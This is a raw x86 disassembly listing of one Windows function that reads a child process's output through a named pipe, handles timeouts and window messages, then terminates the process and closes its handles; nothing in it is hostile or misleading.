lea ecx, [ebp + 0x5c]
mov byte [ebp + 0x77], al
mov dword [ebp + 0x54], esi
xor edi, edi
call fcn.00424576
mov eax, dword [ebp - 0x18]
cmp word [eax], 0x40
lea ecx, [eax + 2]
mov dword [ebp + 8], eax
mov dword [ebp - 0x4c], ecx
mov byte [ebp + 0x7f], bl
jne 0x408af5
mov byte [ebp + 0x7f], 1
mov dword [ebp + 8], ecx
cmp byte [ebp - 9], bl
je 0x408ab4
mov ecx, dword [ebp + 0x48]
push ebx
lea eax, [ebp + 0x2c]
push eax
push dword [ebp + 8]
mov dword [ebp + 0x2c], ebx
call fcn.0043d213
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 0x2c]
lea ecx, [ebp + 0x5c]
call fcn.00409a52
push dword [ebp + 0x5c]
call fcn.004617f0
mov edi, eax
lea esi, [edi + 0x3ff]
and esi, 0xfffffc00
add esi, 0x100000
pop ecx
lea eax, [esi + 8]
push eax
lea ecx, [ebp + 0x5c]
mov dword [ebp + 0x54], esi
call fcn.0042459d
lea ecx, [ebp + 0x2c]
call fcn.00424686
push 0xffffffffffffffff
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
test byte [ebp + 0x73], 8
je 0x408d98
mov eax, dword [ebp - 0x18]
mov ax, word [eax]
cmp ax, 0x40
je 0x408b07
cmp byte [ebp + 0x26], bl
je 0x408b07
cmp ax, 0x26
je 0x408aef
mov eax, dword [ebp + 0x48]
test byte [eax + 9], 0xf
je 0x408b07
mov byte [ebp + 0x6f], 1
jmp 0x408b0a
cmp dword [ebp - 0x54], ebx
je 0x408a59
mov byte [ebp + 0x7f], 2
jmp 0x408a59
mov byte [ebp + 0x6f], bl
push ebx
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0xf8]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
cmp byte [ebp + 0x7f], bl
mov dword [ebp + 4], edi
je 0x408b30
sub esi, edi
jmp 0x408b35
mov esi, 0x100000
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp + 0x5c]
push esi
add eax, edi
push eax
push dword [ebp - 8]
mov dword [ebp - 0x28], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [ebp - 0x44], ebx
mov dword [ebp - 0x60], eax
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x1c], ebx
jg 0x408b6e
mov dword [ebp - 0x44], 0x3e8
lea ecx, [ebp + 0x28]
mov byte [ebp + 0x53], bl
call fcn.0042460b
mov al, byte [0x4892b4]
cmp al, bl
mov byte [ebp + 0x77], al
jle 0x408d8b
push 0x4ff
push dword [ebp - 0x44]
lea eax, [ebp - 0xc8]
push ebx
push eax
push dword [ebp - 0x24]
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
cmp eax, ebx
mov dword [ebp + 0xc], eax
jne 0x408c0e
lea eax, [ebp - 8]
mov esi, dword [eax]
push ebx
lea eax, [ebp + 0x34]
push eax
lea eax, [ebp - 0xf8]
push eax
push esi
mov dword [ebp + 0x34], ebx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
cmp dword [ebp + 0x34], ebx
jbe 0x408bd2
add edi, dword [ebp + 0x34]
mov eax, dword [ebp + 0x5c]
mov byte [eax + edi], bl
lea eax, [edi + 0x100000]
cmp eax, dword [ebp + 0x54]
jl 0x408bf3
add dword [ebp + 0x54], 0x100000
mov eax, dword [ebp + 0x54]
add eax, 4
push eax
lea ecx, [ebp + 0x5c]
call fcn.0042459d
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp + 0x34]
push eax
push dword [ebp - 0x28]
mov eax, dword [ebp + 0x5c]
add eax, edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp byte [ebp + 0x7f], bl
je 0x408c3f
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp + 0x30], eax
sub eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x44]
jge 0x408cf3
cmp edi, dword [ebp + 0x1c]
je 0x408d82
cmp eax, 0x14
jl 0x408d82
jmp 0x408cf3
mov eax, dword [ebp - 0x24]
cmp eax, 1
jle 0x408c68
dec eax
cmp eax, dword [ebp + 0xc]
jne 0x408c68
cmp byte [ebp + 0x7f], bl
mov byte [ebp + 0x53], 1
je 0x408d8b
cmp edi, dword [ebp + 0x1c]
je 0x408d8b
jmp 0x408cf3
test byte [ebp + 0x73], 1
je 0x408c85
mov eax, dword [ebp + 4]
jmp 0x408c81
mov ecx, dword [ebp + 0x5c]
cmp byte [eax + ecx], 0xa
je 0x408d8b
inc eax
cmp eax, edi
jl 0x408c73
push 5
pop esi
dec esi
js 0x408b79
cmp byte [0x4892b4], bl
jle 0x408b79
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x408b79
cmp dword [ebp - 0x22c], 0x12
je 0x408cda
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x408c88
cmp byte [ebp + 0x7f], bl
mov byte [ebp + 0x77], bl
mov byte [ebp + 0x53], 1
je 0x408b79
cmp edi, dword [ebp + 0x1c]
je 0x408b79
cmp byte [ebp + 0x6f], bl
mov eax, dword [ebp + 0x30]
mov dword [ebp + 0x1c], edi
mov dword [ebp - 0x60], eax
jne 0x408d0f
push 0xffffffffffffffff
push edi
push dword [ebp + 0x5c]
lea ecx, [ebp + 0x28]
call fcn.00409aca
cmp byte [ebp + 0x7f], 1
jne 0x408d30
push dword [ebp + 0x28]
mov ecx, dword [ebp + 0x48]
push dword [ebp + 0x28]
push 0x4758e0
push dword [ebp + 8]
push dword [ebp + 8]
call fcn.00426ad5
jmp 0x408d5c
cmp byte [ebp + 0x6f], bl
je 0x408d4e
push ebx
lea eax, [ebp + 0x5c]
push eax
push edi
push dword [ebp + 0x5c]
push dword [ebp - 0x18]
push dword [ebp + 0x48]
call fcn.0042e908
add esp, 0x18
jmp 0x408d5c
push dword [ebp + 0x28]
mov ecx, dword [ebp + 0x48]
push dword [ebp + 8]
call fcn.00428e1b
cmp dword [ebp - 0x54], ebx
je 0x408d82
push dword [ebp - 0x54]
lea ecx, [ebp + 0x4c]
call fcn.0042a183
mov ecx, dword [ebp + 0x48]
push ebx
push ebx
push ebx
push dword [ebp + 0x4c]
call fcn.0041e84e
lea ecx, [ebp + 0x4c]
call fcn.00424686
cmp byte [ebp + 0x53], bl
je 0x408c3f
lea ecx, [ebp + 0x28]
call fcn.00424686
jmp 0x408e7a
cmp dword [ebp], 0xffffff9c
je 0x408e7a
jmp 0x408e6a
push 0x4ff
push 0x3e8
push ebx
lea eax, [ebp - 0xc8]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
mov ecx, dword [ebp - 0x24]
dec ecx
cmp ecx, eax
je 0x408e7a
cmp dword [ebp - 0x24], 1
jle 0x408e62
cmp eax, ebx
jne 0x408e62
lea eax, [edi + 0x100000]
cmp eax, esi
jl 0x408dfc
add esi, 0x100000
lea eax, [esi + 4]
push eax
lea ecx, [ebp + 0x5c]
call fcn.0042459d
push ebx
lea eax, [ebp + 0x7c]
push eax
mov eax, dword [ebp + 0x5c]
push 1
add eax, edi
push eax
push dword [ebp - 8]
mov dword [ebp + 0x7c], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x408e62
cmp dword [ebp + 0x7c], ebx
jbe 0x408e62
add edi, dword [ebp + 0x7c]
mov eax, dword [ebp + 0x5c]
mov byte [eax + edi], bl
jmp 0x408e62
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x408e6a
cmp dword [ebp - 0x110], 0x12
je 0x408e6a
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
cmp byte [0x4892b4], bl
jg 0x408e29
mov al, byte [0x4892b4]
cmp al, bl
mov byte [ebp + 0x77], al
jg 0x408da7
cmp dword [ebp], 0xffffff9c
mov eax, dword [ebp + 0x5c]
mov byte [eax + edi + 2], bl
mov eax, dword [ebp + 0x5c]
mov byte [eax + edi + 1], bl
mov eax, dword [ebp + 0x5c]
mov byte [eax + edi], bl
mov dword [ebp + 0x10], ebx
je 0x408eab
cmp byte [ebp + 0x77], bl
jle 0x408eab
push ebx
lea eax, [ebp - 0xc0]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0xc0]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp byte [ebp + 0x73], bl
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x78]
mov dword [ecx], eax
je 0x40902d
mov eax, dword [ebp - 0x18]
mov ax, word [eax]
cmp ax, 0x40
je 0x408ef4
cmp byte [ebp + 0x26], bl
je 0x408ef4
cmp ax, 0x26
je 0x408eee
mov eax, dword [ebp + 0x48]
test byte [eax + 9], 0xf
je 0x408ef4
mov byte [ebp + 0x7b], 1
jmp 0x408ef7
mov byte [ebp + 0x7b], bl
lea ecx, [ebp - 0x3c]
call fcn.00424559
cmp byte [ebp + 0x7b], bl
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
jne 0x408fd5
lea eax, [edi + 0x18]
push eax
lea ecx, [ebp - 0x3c]
call fcn.00424699
lea eax, [edi + 1]
push eax
push dword [ebp + 0x5c]
mov dword [ebp - 0x34], edi
push dword [ebp - 0x3c]
mov dword [ebp - 0x38], edi
call fcn.00461a50
mov eax, dword [ebp - 0x3c]
push 0x10
add eax, edi
push ebx
push eax
call fcn.00461780
lea eax, [ebp - 0x3c]
push ebx
push eax
call fcn.00433ac4
mov esi, dword [ebp - 0x3c]
add esp, 0x20
test byte [ebp + 0x73], 4
je 0x408f7e
push esi
mov dword [ebp + 0x7c], esi
call fcn.0046176a
pop ecx
lea eax, [esi + eax*2 - 2]
jmp 0x408f77
mov cx, word [eax]
cmp cx, 0xd
je 0x408f72
cmp cx, 0xa
jne 0x408fd5
mov word [eax], bx
dec eax
dec eax
cmp eax, dword [ebp + 0x7c]
jae 0x408f63
jmp 0x408fd5
test byte [ebp + 0x73], 1
jne 0x408f9d
test byte [ebp + 0x73], 2
je 0x408fd5
jmp 0x408fd0
mov ax, word [esi]
cmp ax, 0xd
je 0x408fa2
cmp ax, 0xa
je 0x408fa2
inc esi
inc esi
cmp word [esi], bx
jne 0x408f8c
mov word [esi], bx
jmp 0x408fd5
mov ax, word [esi]
cmp ax, 0xd
je 0x408fba
cmp ax, 0xa
je 0x408fba
inc esi
inc esi
jmp 0x408fd0
push esi
call fcn.0046176a
shl eax, 1
push eax
lea eax, [esi + 2]
push eax
push esi
call fcn.00461d90
add esp, 0x10
cmp word [esi], bx
jne 0x408fa7
mov eax, dword [ebp - 0x18]
cmp word [eax], 0x40
jne 0x408ff9
push dword [ebp - 0x3c]
mov ecx, dword [ebp + 0x48]
push dword [ebp - 0x3c]
push 0x4758e0
push dword [ebp - 0x4c]
push dword [ebp - 0x4c]
call fcn.00426ad5
jmp 0x409022
cmp byte [ebp + 0x7b], bl
je 0x409016
push 1
lea ecx, [ebp + 0x5c]
push ecx
push edi
push dword [ebp + 0x5c]
push eax
push dword [ebp + 0x48]
call fcn.0042e908
add esp, 0x18
jmp 0x409022
push dword [ebp - 0x3c]
mov ecx, dword [ebp + 0x48]
push eax
call fcn.00428e1b
lea ecx, [ebp - 0x3c]
call fcn.00424686
mov eax, dword [ebp + 0x10]
push eax
mov dword [ebp + 0x7c], eax
lea eax, [ebp - 0x1fc]
push 0x47620c
push eax
mov word [ebp - 0x1fc], bx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp + 0x48]
add esp, 0xc
lea eax, [ebp - 0x1fc]
push eax
push 0x4761f0
call fcn.00428e1b
cmp dword [ebp - 0x30], ebx
je 0x409071
push 1
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
lea ecx, [ebp + 0x5c]
call fcn.00424686
mov ecx, dword [ebp - 0x78]
cmp ecx, ebx
je 0x409096
cmp word [ecx], bx
je 0x409096
lea eax, [ebp - 0xc0]
push dword [eax + 8]
push ecx
call fcn.00402a3c
pop ecx
pop ecx
lea esi, [ebp - 0xc0]
mov eax, dword [esi]
cmp eax, ebx
je 0x4090a9
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [ebp - 4]
mov eax, dword [edi]
cmp eax, ebx
mov dword [esi], ebx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x4090bd
push eax
call esi
mov dword [edi], ebx
lea edi, [ebp + 0x40]
mov eax, dword [edi]
cmp eax, ebx
je 0x4090cb
push eax
call esi
mov dword [edi], ebx
lea edi, [ebp + 0x38]
cmp dword [edi], ebx
je 0x4090d7
push ebx
call esi
mov dword [edi], ebx
lea edi, [ebp - 0x2c]
mov eax, dword [edi]
cmp eax, ebx
je 0x4090e5
push eax
call esi
mov dword [edi], ebx
lea edi, [ebp - 8]
mov eax, dword [edi]
cmp eax, ebx
je 0x4090f3
push eax
call esi
mov dword [edi], ebx
lea edi, [ebp - 0x70]
mov eax, dword [edi]
cmp eax, ebx
je 0x409101
push eax
call esi
cmp dword [ebp - 0xe8], ebx
mov dword [edi], ebx
je 0x409113
push dword [ebp - 0xe8]
call esi
lea edi, [ebp - 0xc0]
mov eax, dword [edi + 4]
cmp eax, ebx
je 0x409123
push eax
call esi
mov ecx, dword [ebp + 0x48]
push ebx
mov dword [edi + 4], ebx
call fcn.0044c8fd
lea ecx, [ebp - 0xcc]
call fcn.00424686
mov ebx, dword [ebp + 0x7c]
lea ecx, [ebp - 0x6c]
call fcn.00424686
lea ecx, [ebp + 0x20]
call fcn.00402905
lea ecx, [ebp - 0x7c]
call fcn.00424686
lea ecx, [ebp - 0x20]
call fcn.00402905
lea ecx, [ebp - 0x14]
call fcn.00402905
lea ecx, [ebp + 0x38]
call fcn.00402905
lea ecx, [ebp + 0x40]
call fcn.00402905
lea ecx, [ebp - 4]
call fcn.00402905
lea ecx, [ebp - 0x70]
call fcn.00402905
lea ecx, [ebp - 0x2c]
call fcn.00402905
lea ecx, [ebp - 8]
call fcn.00402905
lea ecx, [ebp - 0x78]
call fcn.00424686
lea ecx, [ebp - 0xd8]
call fcn.00424686
lea ecx, [ebp - 0x5c]
call fcn.00424686
lea ecx, [ebp - 0x94]
call fcn.00424686
lea ecx, [ebp - 0x88]
call fcn.00424686
lea ecx, [ebp - 0x50]
call fcn.00424686
lea ecx, [ebp - 0x74]
call fcn.00424686
lea ecx, [ebp - 0x64]
call fcn.00424686
lea ecx, [ebp - 0x30]
call fcn.00402905
lea ecx, [ebp - 0x90]
call fcn.00402905
lea ecx, [ebp - 0x58]
call fcn.00424686
lea ecx, [ebp - 0x8c]
call fcn.00424686
lea ecx, [ebp - 0x40]
call fcn.00424686
lea ecx, [ebp - 0x48]
call fcn.00424686
lea ecx, [ebp - 0x18]
call fcn.00424686
lea ecx, [ebp - 0x80]
call fcn.00424686
lea ecx, [ebp - 0x68]
call fcn.00424686
lea ecx, [ebp - 0x98]
call fcn.00424686
lea ecx, [ebp - 0x84]
call fcn.00424686
pop edi
pop esi
mov eax, ebx
pop ebx
add ebp, 0x60
leave
ret 0x18